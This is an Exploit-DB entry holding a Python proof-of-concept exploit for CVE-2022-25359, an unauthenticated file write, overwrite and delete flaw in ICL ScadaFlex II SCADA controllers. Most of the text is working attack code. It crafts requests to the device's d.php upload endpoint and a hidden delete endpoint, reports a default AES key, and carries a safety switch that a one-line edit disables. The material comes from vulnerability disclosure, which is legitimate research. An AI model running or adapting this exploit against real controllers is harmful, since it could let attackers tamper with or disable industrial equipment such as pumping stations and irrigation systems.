ICL ScadaFlex II SCADA Controllers SC-1/SC-2 1.03.07 - Remote File CRUD

EDB-ID:

50783




Platform:

Hardware

Date:

2022-02-23


# Exploit Title: CL ScadaFlex II SCADA Controllers SC-1/SC-2 1.03.07 Remote File CRUD
# Exploit Author: LiquidWorm

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#
#
# ICL ScadaFlex II SCADA Controllers SC-1/SC-2 1.03.07 Remote File CRUD
#
#
# Vendor: Industrial Control Links, Inc.
# Product web page: http://www.iclinks.com
# Product datasheet: http://files.iclinks.com/datasheets/Scadaflex%20II/Scadaflex%20SC-1%20&%20SC-2_A1_compressed.pdf
# Affected version: SW: 1.03.07 (build 317), WebLib: 1.24
#                   SW: 1.02.20 (build 286), WebLib: 1.24
#                   SW: 1.02.15 (build 286), WebLib: 1.22
#                   SW: 1.02.01 (build 229), WebLib: 1.16
#                   SW: 1.01.14 (build 172), WebLib: 1.14
#                   SW: 1.01.01 (build 2149), WebLib: 1.13
#
#
# Summary: Scadaflex II controllers are 100% web based
# for both configuration and user interface. No applications
# are required other than any standard web browser. They
# are easily supported by remote access over the Internet
# or a cellular link. Scadaflex II controllers support
# industry standard wired communications using Modbus,
# DF1, SNP, and Ethernet IP protocols along with Ethernet-Serial
# bridging for Modbus or any other protocol. Each Scadaflex
# II controller has both analog and digital, inputs and
# outputs, sufficient for pumping stations, irrigation
# controls, and other similar process monitoring and control
# applications. They can also serve as communications
# concentrators and protocol converters that enhance the
# operation of existing PLCs and process equipment.
#
# Desc: The SCADA controller is vulnerable to unauthenticated
# file write/overwrite and delete vulnerability. This allows
# an attacker to execute critical file CRUD operations on the
# device that can potentially allow system access and impact
# availability.
#
# Tested on: SCADA HTTP Server
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2022-5698
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5698.php
#
# CVE ID: CVE-2022-25359
# CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-25359
#
#
# 06.11.2021
#

import time,sys
import requests
import datetime
import showtime

# Default
# AES Encryption Key = 'ABCD1234abcd:ICL'

def bann():
    print('''
----------------------------------------------------------
          ) ) )                     ) ) )
        ( ( (                      ( ( (
      ) ) )                       ) ) )
   (~~~~~~~~~)                 (~~~~~~~~~)
    | t00t  |                   |  w00t |
    |       |                   |       |
    I      _._                  I       _._
    I    /'   `\\                I     /'   `\\
    I   |   M   |               I    |   J   |
    f   |   |~~~~~~~~~~~~~~|    f    |    |~~~~~~~~~~~~~~|
  .'    |   ||~~~~~~~~|    |  .'     |    | |~~~~~~~~|   |
/'______|___||__###___|____|/'_______|____|_|__###___|___|

             ScadaFlex II SCADA Controllers
                Remote write/delete PoC
                     ZSL-2022-5698
----------------------------------------------------------
        ''')

def safe(*trigger, ):
    return True # |-| Safety Switch

def choice(n):
    try:
        if n == 1:
            overwrite(controllerip = sys.argv[1], filepos = int(sys.argv[3], base = 10))
        elif n == 2:
            delete(controllerip = sys.argv[1], filepos = int(sys.argv[2], base = 10))
        else:
           print('Usage (Upload): ./sflex.py [IP] [Local file] [File position number]')
           print('Usage (Delete): ./sflex.py [IP] [File position number]')
           raise SystemExit('t00t')
    except Exception as tip:
        raise SystemExit(tip)

def jump():
    choice(1) if len(sys.argv) == 4 else next
    choice(2) if len(sys.argv) == 3 else next

def overwrite(controllerip, filepos):
    print('Starting script at', start)
    localfile = sys.argv[2]

    with open(localfile, 'rb') as opener:
        scadaurl  = 'http://'
        scadaurl += controllerip
        scadaurl += '/d.php?N'
        scadaurl += str(filepos)
        scadaurl += ',73,'
        scadaurl += opener.name
        scadaurl += '~'
        scadaurl += str(int(time.time()))

        see = requests.post(scadaurl, files = {'upload' : opener})

        if '100' in see.text:
            print('File uploaded in {} directory at position {}.'.format('l', filepos))
            print('URL: http://' +controllerip+ '/l/' +localfile)
        else:
            print("- controller webserver error.")
    exit()

def delete(controllerip, filepos):
    print('Starting script at', start)
    exit(42) if isinstance(filepos, str) else next

    scadaurl  = 'http://'
    scadaurl += controllerip
    scadaurl += '/rW12IcL_Dat_N'
    scadaurl += str(filepos)
    scadaurl += ',0=1~'
    scadaurl += str(int(time.time()))

    see = requests.get(scadaurl)

    check  = '\x72\x57'  #|
    check += '\x31\x32'  #|
    check += '\x49\x63'  #|
    check += '\x4c\x5f'  #|
    check += '\x44\x61'  #|
    check += '\x74\x5f'  #|
    check += '\x4e'# o'  #|
    check += str(filepos)#|
    check += '\x2c\x30'  #|
    check += '\x09\x52'  #|
    
    if check in see.text:
        print('File at position {} deleted.'.format(filepos))
    else:
    	print('- controller webserver error.')
    exit()

def main():
    if safe(True):
        print('Careful...\nSafety: ON')
        exit(17)
    else:
        print('Safety: OFF', end = '')
    global start
    start = datetime.datetime.now()
    start = start.strftime('%d.%m.%Y %H:%M:%S')
    bann(), jump(), choice(1959)

if __name__ == "__main__":
    main()